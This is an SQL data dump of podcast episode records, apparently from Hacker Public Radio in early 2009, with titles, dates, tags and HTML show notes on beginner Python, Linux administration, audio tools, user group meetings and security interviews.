(282,'2009-01-28','Python Programming 101: Part 2',1293,'Xoke continues the Programming 101 series','<pre>\r\nprint (\"Hello World\")\r\n\r\nprint (\"Hello \\\"World\")\r\n\r\nx = 1\r\nprint (x)\r\n\r\nx = 1\r\nx = x + 5\r\nx = x * 7\r\nprint (x)\r\n\r\nx = 1 + 5 * 7\r\nprint (x)\r\n\r\nx = (1 + 5) * 7\r\nprint (x)\r\n\r\n# This is a comment\r\nx = (1 + 5) * 7\r\n# print (\"5\")\r\nprint (x)\r\n\r\nx = \"Hello World\"\r\nprint (x)\r\n\r\nx = \"Hello\"\r\ny = \"World\"\r\nprint (x+y)\r\n\r\nx = \"Hello\"\r\ny = \"World\"\r\nprint (x + \" \" + y)\r\n\r\nsFirstName = \"John\"\r\nsSurname = \"Smith\"\r\nprint (\"Dear \" + sFirstName + \" \" + sSurname)\r\n\r\nx = 13\r\nsFirstName = \"John\"\r\nsSurname = \"Smith\"\r\nif x < 12:\r\n	print (\"Good Morning \" + sFirstName + \" \" + sSurname)\r\nelse:\r\n	print (\"Good Evening \" + sFirstName + \" \" + sSurname)\r\n\r\nx = 11\r\nsFirstName = \"John\"\r\nsSurname = \"Smith\"\r\nif x < 12:\r\n	print (\"Good Morning \" + sFirstName + \" \" + sSurname)\r\nelse:\r\n	print (\"Good Evening \" + sFirstName + \" \" + sSurname)\r\nprint (\"When does this get printed?\")\r\n\r\n</pre>',79,25,1,'CC-BY-NC-SA','Programming,Python',0,2682,1),
(283,'2009-01-29','Convert Ogg to MP3',1703,'Monsterb and company discuss converting ogg to mp3','Convert Ogg to MP3<br>monsterb, threethirty, klaatu, and Peter64 talk about audio converters.<br><a href=\"https://ffmpeg.org/\">ffmpeg</a> is a command line tool to convert multimedia files between formats.<br><a href=\"https://linuxcranks.info/forum/viewtopic.php?id=98\">Linux Cranks Oggcast</a> forum thread on converting Ogg to MP3.<br><a href=\"https://pacpl.sourceforge.net/\">Perl Audio Converter</a> is a tool for converting multiple audio types from one format to another.<br><a href=\"https://soundconverter.berlios.de/\">SoundConverter</a> - GNOME Sound Conversion.<br><a href=\"https://sox.sourceforge.net/\">SoX</a> is a cross-platform command line utility that can convert various formats of computer audio files in to other formats.',99,0,1,'CC-BY-NC-SA','ogg,mp3',0,2235,1),
(284,'2009-01-30','Roundtable 1: Is Google Evil?',2740,'Various hosts discuss \"Is Google Evil?\"','Morgellon, Plexie, Klaatu, Drake Anubis, and Skirlet discuss whether google is evil.',109,26,1,'CC-BY-NC-SA','google,evil,privacy,DRM,EULA',0,2036,1),
(285,'2009-02-02','Hacker',1129,'Thistleweb talks about the term Hacker, and some meanings of the word.','<p>Definitions taken from different dictionaries, with non-IT related definitions removed for relevance.</p>\r\n<h3>\"Hacker\" :n</h3>\r\n<ol>\r\n<li>A programmer who breaks into computer systems in order to steal or change or destroy information as a form of cyber-terrorism [syn: cyber-terrorist, cyberpunk]</li>\r\n<li>A programmer for whom computing is its own reward; may enjoy the challenge of breaking into other computers but does no harm; \"true hackers subscribe to a code of ethics and look down upon crackers\"</li>\r\n<li>A person who enjoys exploring the details of programmable systems and how to stretch their capabilities, as opposed to most users, who prefer to learn only the minimum necessary.</li>\r\n<li>One who programs enthusiastically (even obsessively) or who enjoys programming rather than just theorizing about programming.</li>\r\n<li>A person capable of appreciating hack value.</li>\r\n<li>A person who is good at programming quickly.</li>\r\n<li>An expert at a particular program, or one who frequently does work using it or on it; as in `a Unix hacker\'. (Definitions 1 through 5 are correlated, and people who fit them congregate.)</li>\r\n<li>An expert or enthusiast of any kind. One might be an astronomy hacker, for example.</li>\r\n<li>One who enjoys the intellectual challenge of creatively overcoming or circumventing limitations.</li>\r\n<li>[deprecated] A malicious meddler who tries to discover sensitive information by poking around. Hence `password hacker\', `network hacker\'. The correct term for this sense is cracker.</li>\r\n</ol>',106,0,1,'CC-BY-NC-SA','hacker,definition,linux',0,2074,1),
(286,'2009-02-03','Zoneminder Install',1561,'jelkimantis talks about the Zoneminder video camera security solution','jelkimantis talks about <a href=\"https://www.zoneminder.com\"> Zoneminder </a>, a Linux video camera security and surveillance solution',90,0,1,'CC-BY-NC-SA','zoneminder,debian,video,security,education,gspca devices',0,2084,1),
(287,'2009-02-04','sysctl',419,'Klaatu talks about the kernel parameter command \"sysctl\"','<p>\r\nKlaatu talks about the lil\' kernel parameter command \"sysctl\" and how it\r\nenables your computer to stop responding to pings, and more.\r\n</p>\r\n\r\nogg version located at\r\n<a href=\"https://www.thebadapples.info/audiophile/sysctl.ogg\">https://www.thebadapples.info/audiophile/sysctl.ogg</a>\r\n',78,0,0,'CC-BY-NC-SA','sysctl,kernel,parameters',0,2097,1),
(288,'2009-02-06','EC Lug Meeting Jan 12th',7040,'The Jan. 12th, 2009 Eau Claire Linux User Group meeting','Audio from the EC Lug Jan 12th meeting',93,0,1,'CC-BY-NC-SA','Linux,router,printers,Slackware,Virtualbox',0,1280,1),
(289,'2009-02-07','Running Linux on Compact Flash',770,'How Deepgeek runs Linux on a Compact Flash drive','Shownotes are located on <a href=\"\r\nhttps://deepgeek.us/running-linux-of-compact-flash\"> deepgeek\'s website. </a>  Go there for ogg and flac\r\nversions as well as full show notes with photographs, mirrors of other\r\npodcasts that influenced this one, and an example of /etc/fstab for the\r\nproject.',73,0,1,'CC-BY-NC-SA','compact flash,debian,read-only,squashfs',0,2234,1),
(290,'2009-02-09','NaNoWriMo.org',1811,'Lostnbronx and his experience with the NaNoWriMo writing challenge','<b>NaNoWriMo.org</b>\r\n<br>or\r\n<br>\"I Gotta Be Outa My Friggin\' Mind\"\r\n<p>\r\nNaNoWriMo.org (National Novel Writing Month) is an organization that \r\nsponsors an event each November wherein participants set out to write a \r\nnovel in thirty days.  The challenges and obsticles are many, not the \r\nleast of which are the writers themselves.\r\n<p>\r\n<a href=https://www.nanowrimo.org>nanowrimo.org</a>\r\n<p>Also of interest to writers:\r\n<br><a href=https://critters.org>Critters Story Group</a>\r\n<p>',107,0,1,'CC-BY-NC-SA','NaNoWriMo,writing',0,2030,1),
(291,'2009-02-10','moonlight discussion',2550,'Several hosts discuss the Moonlight \'plugin\'','<br>monsterb, threethirty, klaatu,\r\njlindsay, and dann talk about moonlight, mono, silverlight, flash,\r\nlicensing, and patents. Plus the debut of a votekick ending.<br><a href=\"https://www.go-mono.com/moonlight/\">moonlight</a> is an open source implementation of <a href=\"https://silverlight.net/\">Microsoft Silverlight</a> for Unix systems.<br><a href=\"https://www.mono-project.com\">mono</a> is a cross platform, open source .NET development framework.<br><a href=\"https://www.mono-project.com/Licensing\">mono licensing</a> GPL, LGL, MIT X11<br><a href=\"https://silverlight.net/fox/\">Fox Movie Trailers</a> to test moonlight and silverlight.',99,0,1,'CC-BY-NC-SA','moonlight,mono,silverlight,flash,licensing,patents',0,2217,1),
(292,'2009-02-11','All Songs Considered 6: Freedom was born',383,'Another song by Chad from the Linux Basement','Another song from Chad from the linuxbasement',101,22,1,'CC-BY-NC-SA','songs,politicians,corporations,community,music,freedom',0,1516,1),
(293,'2009-02-12','Illustrious Programmer Ep 0',689,'Illustrious Programmer Ep 0','first ep in Jelkimantis\' new series',90,25,1,'CC-BY-NC-SA','programming,beginners,Python',0,2143,1),
(294,'2009-02-13','Copyfight Vol5: Filtering',221,'MPAA copyright filtering bill','original story :  <br> https://www.boingboing.net/2009/02/10/mpaas-beloved-networ.html\r\n<br>\r\n<br>\r\nPetition :  <br>https://publicknowledge.cmail1.com/T/ViewEmail/y/18C852B44675F35A/D60B49FF968D258D9A8E73400EDACAB4',92,0,1,'CC-BY-NC-SA','copyfight',0,1977,1),
(295,'2009-02-16','Illustrious Programmer E1: Vocab and Basics',1411,'Vocab and Basics','Jelkimatis continues his Illustrious Programmer series',90,25,1,'CC-BY-NC-SA','programming,python,debugging tips',0,2155,1),
(296,'2009-02-17','EC LUG Jan 15 meeting',2033,'The Jan. 15th, 2009 Eau Claire Linux User Group meeting','EC LUG Jan 15 meeting',93,0,1,'CC-BY-NC-SA','Linux,AMD,cooling,overclocking,circuit simulation,music',0,1416,1),
(297,'2009-02-18','Open VPN',3634,'Utah Open Source Conference - Google App Engine 101','UTOS  OpenVPN presentation',100,0,1,'CC-BY-NC-SA','Linux,OpenVPN,encryption,OpenSSL',0,1503,1),
(298,'2009-02-19','AutoNessus',1735,'Ken Fallon interviews Frank Breedijk of AutoNessus','Ken Fallon interviews the autonessus developer',30,0,1,'CC-BY-NC-SA','interviews,autonessus,security',0,2166,1),
(299,'2009-02-20','LinuxTalk',4878,'Threethirty plays a presentation called The Linux Alternative','LinuxTalk',92,0,1,'CC-BY-NC-SA','Linux,talk',0,1523,1),
(300,'2009-02-23','Big 300',1682,'Interviews from Morgellon, Dave Yates, Deepgeek and various other hosts','interviews from various hpr hosts...\r\n<br> <br>\r\nthanks to everyone who makes HPR possible',109,0,1,'CC-BY-NC-SA','interviews,hpr',0,1457,1),
(301,'2009-02-24','News Cast Ep0',333,'Newscast of what\'s happening in the News world','Ep 0 of finux\'s newscast series',85,28,1,'CC-BY-NC-SA','news,Linux,FOSS,windows',0,1561,1),
(302,'2009-02-25','Python Programming Part 3',1313,'Xoke continues the Programming 101 series','\r\n<pre>\r\nfor x in range(1, 10):\r\n       print(x)\r\n\r\n\r\nfor x in range(1, 11):\r\n       print(x)\r\n\r\n\r\ny = 0\r\nfor x in range(1,101):\r\n       y = y + x\r\nprint(y)\r\n\r\n\r\ny = 0\r\nx = 1\r\nwhile x < 101:\r\n       y = y + x\r\n       x = x + 1\r\nprint (y)\r\n\r\n\r\nx = 0\r\ny = 0\r\nz = 1\r\n\r\nwhile z < 100:\r\n       x = y\r\n       y = z\r\n       z = x + y\r\n       print (z)\r\n\r\n\r\nx = 0\r\ny = 0\r\nz = 1\r\n\r\nwhile z < 100:\r\n       print (z)\r\n       x = y\r\n       y = z\r\n       z = x + y\r\n\r\n\r\nx = 0\r\ny = 0\r\nz = input(\'What number do we start from?\')\r\ni = input(\'And up to which number should we calculate\')\r\n\r\nwhile z < i:\r\n       print (z)\r\n       x = y\r\n       y = z\r\n       z = x + y\r\n</pre>',79,25,1,'CC-BY-NC-SA','Programming,Python',0,3453,1),
(303,'2009-02-26','lottanzb, my computers, and a quick movie review',1007,'Dave Yates talks about various subjects','lottanzb, my computers, and a quick movie review<p>\r\n<a href=\"https://www.lottanzb.org\">lottanzb</a>;<p>\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0093\">deepgeek\'s newsgroup hpr episode</a>;<p>\r\nmy computers; and <a href=\"https://www.imdb.com/title/tt0072730/\">a boy and his dog</a>.',77,0,1,'CC-BY-NC-SA','lottanzb,nzb files,computers,movie review',0,2116,1),
(304,'2009-02-27','Phone Line Troubleshooting',632,'Troubleshooting a telephone land line','Wintermute talks about phone line troubleshooting',105,0,1,'CC-BY-NC-SA','telephone line,troubleshooting',0,2115,1),
(305,'2009-03-02','Hard core Ogg player on the cheap',356,'Setting up Rockbox on a Sansa device','<a href=\"https://www.tigerdirect.com/applications/SearchTools/item-details.asp?EdpNo=3402958&CatId=2761\"> Sansa e250 $29.99 </a> \r\n<br>\r\n\r\n<a href=\"https://www.tigerdirect.com/applications/SearchTools/item-details.asp?EdpNo=4307848&CatId=4020\"> \r\n8gb MicroSDHC $24.99 </a>\r\n<br>\r\n<a href=\"https://download.rockbox.org/release/3.1/rockbox-sansae200-3.1.zip\">  \r\nRock box for sansa </a> <br>\r\n\r\n\r\n\r\n\r\n<a href=\"https://download.rockbox.org/manual/rockbox-sansae200/rockbox-buildch2.html#x4-110002.2.2\"> Boot loader instructions </a> ',110,0,1,'CC-BY-NC-SA','Sansa,ogg,rockbox',0,1542,1),
(306,'2009-03-03','News Cast Ep 1 ',392,'Newscast of what\'s happening in the News world','second ep of finux\'s series\r\n',85,28,1,'CC-BY-NC-SA','Google,email',0,2155,1),
(307,'2009-03-04','Krita',1145,'Klaatu compares Krita and Gimp','\r\nKlaatu compares Krita, Gimp and, obligatorily, Ph0t0sh0p.',78,0,0,'CC-BY-NC-SA','Gimp,Krita',0,2222,1),
(308,'2009-03-05','EC Feb 05 Meeting',2608,'The Feb. 5th, 2009 Eau Claire Linux User Group meeting','EC Feb 05 Meeting',93,0,1,'CC-BY-NC-SA','Linux,Gimp,Printers',0,2085,1),
(309,'2009-03-06','Compiling a linux kernel',455,'Impressions on compiling the linux kernel','Deepgeek briefly gives his impressions of custom compiling a linux\r\nkernel.',73,0,1,'CC-BY-NC-SA','Linux,kernel,compiling,initrd',0,1973,1),
(310,'2009-03-09','SSH tunneling',1535,'Using ssh connections for tunneling and other applications','Knightwise talks about using ssh connections for terminal applications, filesharing and ssh tunneling.',111,0,1,'CC-BY-NC-SA','linux,openssh,centerIM,irssi,alpine,putty,screen',0,1700,1),
(311,'2009-03-10','Firewall Distros',1698,'Mark discusses a few different firewall distros','Mark discusses a few different firewall distros',112,0,1,'CC-BY-NC-SA','linux,firewalls,network',0,1549,1),
(312,'2009-03-11','Illustrious Programmer Ep02',863,'Programming with Jelkemantis','the thrid episode of the Illustrious programmer series',90,0,1,'CC-BY-NC-SA','programming,Python',0,2064,1),
(313,'2009-03-12','Recesion Era Media',1311,'Recession era multimedia with LostNBronx','\r\n<strong>DO-IT-YOURSELF ANTENNA</strong> \r\n\r\n<br> \r\n\r\n<a href=https://www.digitalhome.ca/ota/superantenna/design.htm>The Gray-Hoverman Antenna</a> (a GPL 3.0 \r\nversion) \r\n\r\n<br> \r\n\r\n<a href=https://www.digitalhome.ca/forum/showthread.php?t=81982>The \r\nDigital Home forum</a>\r\n\r\n<br> \r\n\r\n<a href=https://tvfool.com>TV Fool</a>\r\n\r\n<br> \r\n\r\n<a \r\nhref=https://linuxoutlaws.com/forums/viewtopic.php?f=3&t=1234&st=0&sk=t&sd=a&hilit=antenna&sid=5bab16b6b2c023d822f5df0b5383a80d>\r\nThe Linux Outlaws Antenna thread</a>\r\n\r\n<br>\r\n\r\n<a \r\nhref=https://www.instructables.com/tag/?q=tv+antenna&limit%3Atype%3Aid=on&type%3Aid=on&type%3Auser=on&type%3Acomment=on&type%3Agroup=on&type%3AforumTopic=on&sort=none\r\n>A few do-it-yourself antenna designs on Instructables</a> \r\n\r\n<p>\r\n\r\n<strong>MYTHTV AND THE LIKE</strong>\r\n\r\n<br>\r\n\r\nInfo about MythTV is not at all hard to come by these days, but here\'s a \r\nfew places to start off with, just in case it is new to you.\r\n\r\n<br>\r\n\r\n<a href=https://www.mythtv.org>MythTV</a>\r\n\r\n<br>\r\n\r\n<a href=https://www.mythbuntu.org>Mythbuntu</a>\r\n\r\n<br>\r\n\r\n<a href=https://mythdora.com>Mythdora</a>\r\n\r\n<br>\r\n\r\n<a href=https://www.boxee.tv>Boxee</a>\r\n\r\n<br>\r\n\r\nThis is an app that some people bill as an alternative to Mythbox\r\n\r\n</p>\r\n\r\n<p>\r\n\r\n<strong>ROCKBOX</strong>\r\n\r\n<br>\r\n\r\n<a href=https://www.rockbox.org>Rockbox rocks!</a>\r\n\r\n</p>\r\n\r\n<p>\r\n\r\n<strong>WEB-ONLY SHOWS</strong>\r\n\r\n<br>\r\n\r\n<a href=https://geminidivision.com>Gemini Division</a>\r\n\r\n<br>\r\n\r\n<a href=https://www.drawnbypain.com>Drawn By Pain</a>\r\n\r\n<br>\r\n\r\n<a href=https://www.startreknewvoyages.com>Star Trek: Phase II</a>\r\n\r\n<br>\r\n\r\n<a href=https://www.startrekofgodsandmen.com>Star Trek: Of Gods and \r\nMen</a>\r\n\r\n<br>\r\n\r\n<a href=https://drhorrible.com>Dr. Horrible\'s Sing Along Blog</a> \r\n\r\n<br>(I figure there might be a few people on Earth who haven\'t yet seen Dr. Horrible.  A really \r\nwonderful production, and a nice example of the wide breadth that Web content can take.)',107,0,1,'CC-BY-NC-SA','multimedia,alternatives,podcasts,music,video,Rockbox,bittorrent',0,2131,1),
(314,'2009-03-13','LVM2',2588,'Kevin gives a brief and basic overview of Logical Volume Management, or LVM.','Kevin gives a brief and basic overview of Logical Volume\r\nManagement, or LVM.\r\n\r\nPlease note that I will be using a Debian GNU+Linux frame of\r\nreference, and that there is a possibility that some of the\r\ncommand-line details of some of he commands may differ to some extent.\r\n\r\nAlso note that the current LVM package is \"LVM2\", and that when I use\r\nthe term LVM, that I am, indeed, referring to LVM2.\r\n',113,0,1,'CC-BY-NC-SA','Linux,logical volume manager,partition',0,2089,1),
(315,'2009-03-16','Interview with ChrisJohnRiley',2749,'finux interviews ChrisJohnRiley','finux interviews ChrisJohnRiley',85,78,1,'CC-BY-NC-SA','Linux,interview,penetration testing,network,security',0,5738,1),
(316,'2009-03-17','Raid LVM',1605,'Mark discusses software raid and LVM','Mark discusses software raid and LVM',112,0,1,'CC-BY-NC-SA','Linux,Software RAID,logical volume manager',0,1618,1),
(317,'2009-03-19','NewsCast Ep 2',370,'finux continues his news cast series','finux continues his news cast series',85,0,1,'CC-BY-NC-SA','Linux,newscast',0,1555,1),
(318,'2009-03-20','Git',4347,'A presentation on Git from Utah Open Source','UTOS (Utah Open Source, <a href=\"https://www.utos.org/\">https://www.utos.org/</a>) presentation on GIT',100,81,1,'CC-BY-NC-SA','version control,cvs,subversion,mercurial,git',0,2529,1),
(319,'2009-03-20','EC LUG Feb 12th Meeting',4457,'The Feb. 12th, 2009 Eau Claire Linux User Group meeting','EC LUG Feb 12th Meeting',93,0,1,'CC-BY-NC-SA','Linux,encryption,twitter,beer,microcontroller,flash',0,2010,1),
(320,'2009-03-23','Audacious',565,'Thistleweb reviews a lightweight music player app, Audacious','Running Order\r\n<p>Little dogs\r\n<ul>\r\n<li>XMMS</li>\r\n</ul>\r\nWinamp similarities\r\n<ul>\r\n<li>Layout (3 magnetic windows)</li>\r\n<li>Compatible skins</li>\r\n<li>System tray icon & control</li>\r\n</ul>\r\nPlugins\r\n<ul>\r\n<li>Status icon</li>\r\n<li>Global hotkeys</li>\r\n<li>Audio compressor</li>\r\n</ul>\r\nBig dogs\r\n<ul>\r\n<li>Multi section windows</li>\r\n<li>Podcatchers</li>\r\n<li>Last.fm</li>\r\n<li>Syncing of media folders & MP3 players</li>\r\n</ul>\r\n</p>',106,11,1,'CC-BY-NC-SA','lightweight,multimedia,audio,music',0,3821,1),
(321,'2009-03-24','Parrot',4939,'Presentation on the Parrot VM given by Steven Weeks at a Provo LUG on 2009-03-11.','<p>\nParrot is a virtual machine designed to efficiently compile and execute bytecode for dynamic languages.\n</p>\n\n<p>\nParrot currently hosts a variety of language implementations in various stages of completion, including Tcl, Javascript, Ruby, Lua, Scheme, PHP, Python, Perl 6, APL, and a .NET bytecode translator.\n</p>\n\n<p>\nParrot is not about parrots, though we are rather fond of them for obvious reasons.\n</p>\n\n<p>\nGuru at Guru Labs for 1.5 years. I teach, work on courseware, and assorted Perl programming. In my spare time I work on Parrot and recently a roguelike. I\'ve been working on Parrot for about a year, in which time I\'ve written a LOLCODE and Ruby compiler and done a lot of work on Exceptions and some work implementing features in Perl 6.\n</p>\n\n<p>\nI\'d like to talk about Parrot and/or Perl 6! That\'s about as specific as I get. If nobody has any more-specific requests, I\'d like to run through implementing a simple language and the parts of a Parrot compiler. Maybe scheme? I haven\'t decided yet.\n</p>\n',100,0,1,'CC-BY-NC-SA','Parrot,virtual machine,Perl 6,bytecode,Rakudo',0,1284,1),
(322,'2009-03-25','EC Lug Feb 19th Meeting',6403,'The Feb. 19th, 2009 Eau Claire Linux User Group meeting','EC LUG Feb 19th Meeting',93,0,1,'CC-BY-NC-SA','Nvidia,video drivers,video encoding,python,raw image tools',0,1397,1),
(323,'2009-03-26','zenity',374,'zenity is a program that will display GTK+ dialogs','zenity<p>\r\n<a href=\"https://tinyurl.com/d7xx5b\">zenity in a bash script example</a>.',77,0,1,'CC-BY-NC-SA','bash,shell script,dialog box',0,1991,1),
(324,'2009-03-27','webmin',1254,'Mark talks about webmin','Mark talks about webmin',112,0,1,'CC-BY-NC-SA','webmin,web administration',0,2199,1),
(325,'2009-03-30','RoundTable Ep 2: Is There such a thing as Ethical Hacking?',2226,'Panelists discuss the question \"Is there such a thing as Ethical Hacking?\"','<p>Three-Thirty, AJ, Nick, and Klaatu discuss the question \"Is there such a thing as Ethical Hacking?\"</p>\r\n\r\n<p>An <a href=\"https://www.thebadapples.info/audiophile/hprRoundTable2.ogg\">ogg version</a> of this episode is also available.</p>',109,26,1,'CC-BY-NC-SA','penetration testing,hardware hacking,hacking,encryption,piracy,security',0,2192,1),
(326,'2009-03-31','Setting up a Monitor',245,'Xoke explains how he sets up his monitor','xoke explains how he sets up his monitor',79,0,1,'CC-BY-NC-SA','Hardware,Monitor',0,2173,1),
(327,'2009-04-01','Mozilla Profiles',1805,'Thistleweb goes over profiles for Mozilla Firefox and Thunderbird','<p>Commands\r\n<ul>\r\n<li>firefox -P : opens Firefox at profile prompt</li>\r\n<li>firefox -P \"Foo\" : opens Firefox with Foo profile</li>\r\n</ul>\r\n<p>Change \"firefox\" for \"thunderbird\" to do the same for email profiles.</p>\r\n<p>Locations (on Linux), these are hidden .folders.</p>\r\n<ul>\r\n<li>Firefox : /home/foo/.mozilla/firefox/profiles.ini</li>\r\n<li>Thunderbird : /home/foo/.mozilla-thunderbird/profiles.ini</li>\r\n</ul>\r\n<p>Locations for <a href=\"https://support.mozilla.com/en-US/kb/Profiles\">Windows &amp; Mac</a> users.</p>\r\n<p>Profiles.ini settings</p>\r\n<ul>\r\n<li>Name : name used in profile</li>\r\n<li>Path : path to profile folder</li>\r\n<li>Default : default profile used when just \"firefox\" or \"thunderbird\" are exectuted</li>\r\n</ul>\r\n<p>Firefox Extensions</p>\r\n<ul>\r\n<li><a href=\"https://addons.mozilla.org/en-US/firefox/addon/2109\">FEBE</a> : Firefox Environment Backup Extension</li>\r\n<li><a href=\"https://addons.mozilla.org/en-US/firefox/addon/6152\">OPIE</a> : Ordered Preference Import/Export</li>\r\n<li><a href=\"https://addons.mozilla.org/en-US/firefox/addon/2942\">CLEO</a> : Compact Library Extension Organizer</li>\r\n</ul>\r\n<p>Thunderbird Extensions</p>\r\n<ul>\r\n<li><a href=\"https://addons.mozilla.org/en-US/thunderbird/search?q=gmail+imap&cat=all\">Gmail IMAP</a></li>\r\n</ul>\r\n</p>',106,0,1,'CC-BY-NC-SA','firefox,profiles,linux,windows,Thunderbird',0,2754,1),
(328,'2009-04-02','Puppet, Systems Building Systems',3874,'Utah Open Source Conference - Puppet','Andrew Shafer works full time on the Open Source system management framework, Puppet. He brings with him a background in computational science, embedded Linux development, web frameworks and Agile methods. Andrew has been an Open Source user and advocate since the late 90s. He was a speaker at the 2008 Utah Open Source Conference.',100,0,1,'CC-BY-NC-SA','puppet,automation,ruby',0,1444,1),
(329,'2009-04-03','SSH Part 2',1145,'Klaatu presents a howto on using ssh keys and ssh-agent','<p>HOWTO use ssh keys and ssh-agent to provide easier SSH\'ing in your network!</p>\r\n<p>Listen carefully for bonus subliminal messages delivered by Klaatu\'s friend\'s (black) cat.</p>\r\n<p>This episode also available in <a href=\"https://www.thebadapples.info/audiophile/sshEpisode2.ogg\">ogg.</a></p>\r\n',78,0,0,'CC-BY-NC-SA','Linux,ssh,ssh-keygen',0,1970,1),
(330,'2009-04-06','Listgarden',465,'Deepgeek reviews listgarden, an rss generator','deepgeek reviews listgarden an rss generator \r\n\r\nshownotes: deepggeek.us/listgarden.html\r\n<a href=\"https://talkgeektome.us\"> https://talkgeektome.us </a> ',73,0,1,'CC-BY-NC-SA','listgarden,rss,lightweight',0,2014,1),
(331,'2009-04-07','Snort Part 2',910,'Operat0r hosts a follow up episode on the Snort Intrusion Detection Tool','Operat0r hosts a follow up episode to his snort ep',36,0,1,'CC-BY-NC-SA','Snort,intrusion detection',0,2118,1),
(332,'2009-04-08','Libre Planet 2009',4313,'FSF Annual Meeting - Libre Planet 2009 Conference Episode 1 of 5','<h2>Libre Planet 2009 conference 1 of 5</h2>\r\n\r\n<p>FSF Annual Meeting :: Libre Planet 2009 Conference Episode 1 of 5</p>\r\n\r\n<p>The event was held at the Harvard Science Center, Cambridge, MA on March 21st and 22nd, 2009.</p>\r\n\r\n<ul>\r\n<li>[00:00:00 to 00:04:47] Welcome. Peter Brown (FSF Executive Director)</li> \r\n<li>[00:04:17 to 00:06:24] Un-conference Orientation - Rob Myers and Matt Lee</li> \r\n<li>[00:06:25 to 01:11:54] Jeremy Allison, The Elephant in the Room: Microsoft and Free Software</li>\r\n</ul>\r\n\r\n<p>For more information please visit: <a href=\"https://www.fsf.org/associate/meetings/2009/\">https://www.fsf.org/associate/meetings/2009/</a></p>\r\n',99,0,1,'CC-BY-NC-SA','Libreplanet,Free Software Foundation,Microsoft,Samba,Open Document Format,ODF',0,1917,1),
(333,'2009-04-09','BruCON Interview',2096,'Interview with Benny from BruCON','finux interviews Benny, a security consultant and organizer of <a href=\"https://www.brucon.org\"> BruCON </a>',85,78,1,'CC-BY-NC-SA','Security',0,2409,1),
(334,'2009-04-10','Toti',1968,'Theater of the Imagination - part 1','<br>\r\nTHEATER OF THE IMAGINATION\r\n<br>\r\nDramatic Audio Media, And Its Context\r\n<p>\r\nShownotes -- In No Particular Order (Yay!)\r\n<p>\r\nFirst off, there\'s the Wikipedia page for audiobooks (strangely, they don\'t seem to have one specifically for podiobooks -- at least, when I \r\nlooked.  Someone should fix that.  But not me.  I\'m too busy.  Or something.) \r\n<br>\r\n<a href=https://en.wikipedia.org/wiki/Audiobook>https://en.wikipedia.org/wiki/Audiobook</a>\r\n\r\n<p>\r\nThe Internet Archive\'s Old Time Radio \"Gunsmoke\" collection\r\n<br>\r\n<a href=https://www.archive.org/details/OTRR_Certified_Gunsmoke>https://www.archive.org/details/OTRR_Certified_Gunsmoke</a>\r\n\r\n<p>\r\nDarker Projects (lots of fun going on here)\r\n<br>\r\n<a href=https://www.darkerprojects.com>https://www.darkerprojects.com<a/>\r\n\r\n<p>\r\nDecoder Ring Theatre (The Red Panda is da man -- and his female sidekick is too...rowaar!)\r\n<br>\r\n<a href=https://decoderring.libsyn.com/> href=https://decoderring.libsyn.com/<a/>\r\n\r\n<p>\r\nBrokenSea Audio Productions (lookin\' good)\r\n<br>\r\n<a href=https://brokensea.com/> href=https://brokensea.com/</a>\r\n\r\n<p>\r\nFor live stage productions, check this guy out -- I haven\'t seen him, myself, but he\'s got right idea!\r\n<br>\r\n<a href=https://www.ruyasonic.com/>https://www.ruyasonic.com/</a>\r\n\r\n<p>\r\nAgain, not anyone I\'ve seen, but they sure have the fire!\r\n<br>\r\n<a href=https://www.atbplayers.com/>https://www.atbplayers.com/</a>\r\n\r\n<p>\r\nOriginal street sound f/x\r\n<br>\r\nBy gezortenplotz <a href=https://www.freesound.org/usersViewSingle.php?id=11536>(https://www.freesound.org/usersViewSingle.php?id=11536)</a>\r\nNYC_street leve02l.wav <a href=https://www.freesound.org/samplesViewSingle.php?id=44796>(https://www.freesound.org/samplesViewSingle.php?id=44796)</a>\r\n<br>\r\nremixed by yours truly\r\n\r\n<p>\r\nIntro and Outro music by the Benny Goodman Orchestra, \"Sing, Sing, Sing\", performed on the \"Camel Caravan\", on November 4th, \r\n1939 (public domain, and available at the Internet Archive <a \r\nhref=https://www.archive.org/download/Camel_Comedy_Caravan/1939-04-11_Xxxx_-_Camel_Caravan_-_First_Song_-_Honeysuckle_Rose_-_Benny_Goodman.ogg>here</a>)\r\n',107,52,1,'CC-BY-NC-SA','audio drama,audio books',0,2044,1),
(335,'2009-04-13','Linux Netbooks',2547,'Multiple host talk about Linux Netbooks','Linux Netbooks<br><br>monsterb, Azimuth, Klaatu, LilMiss64, Peter64, and the Gutsy Geeks talk about Linux Netbooks.<br>Netbooks Mentioned: Acer Aspire One, Asus Eee Pc 700, 900, 1000, Dell Mini 9, HP, MSI, Sylvania G Meso<br><br>Going Linux https://goinglinux.com<br>Gutsy Geeks https://www.gutsygeeks.com',99,0,1,'CC-BY-NC-SA','netbooks,reviews',0,1579,1),
(336,'2009-04-14','Asterisk',2392,'Review of Asterisk PBX. Covering hardware specs., peripherals, setup, and operations.','Mark Clarke and Darlene Parker talk about Asterisk',112,0,1,'CC-BY-NC-SA','Asterisk,PBX,Digium,softphone',0,2222,1),
(337,'2009-04-15','Linux at Work',1951,'Knightwise talks about linux in the workplace','Knightwise talks about linux in the workplace',111,0,1,'CC-BY-NC-SA','Ubuntu,desktop,work,Open Office,open standards',0,2109,1),
(338,'2009-04-16','cappuccino',1168,'Secrets of a perfect cappuccino','<p>Klaatu reveals the methodology and secrets of making the perfect cappuccino.</p>\r\n<p>Here\'s the <a href=\"https://www.thebadapples.info/audiophile/cappuccino.ogg\">ogg version</a>.</p>\r\n',78,0,0,'CC-BY-NC-SA','coffee,cappuccino',0,1545,1),
(339,'2009-04-17','Reasons to love Symlinks',883,'Why rkirk loves symlinks','rkirk talks about the reasons he loves symlinks',114,0,1,'CC-BY-NC-SA','symlinks,softlinks,playlists,organize',0,3208,1),
(340,'2009-04-20','RTFM',583,'Ken talks about the history behind RTFM','ken talks about the history behind RTFM',30,0,1,'CC-BY-NC-SA','RTFM,documentation,history',0,2228,1),
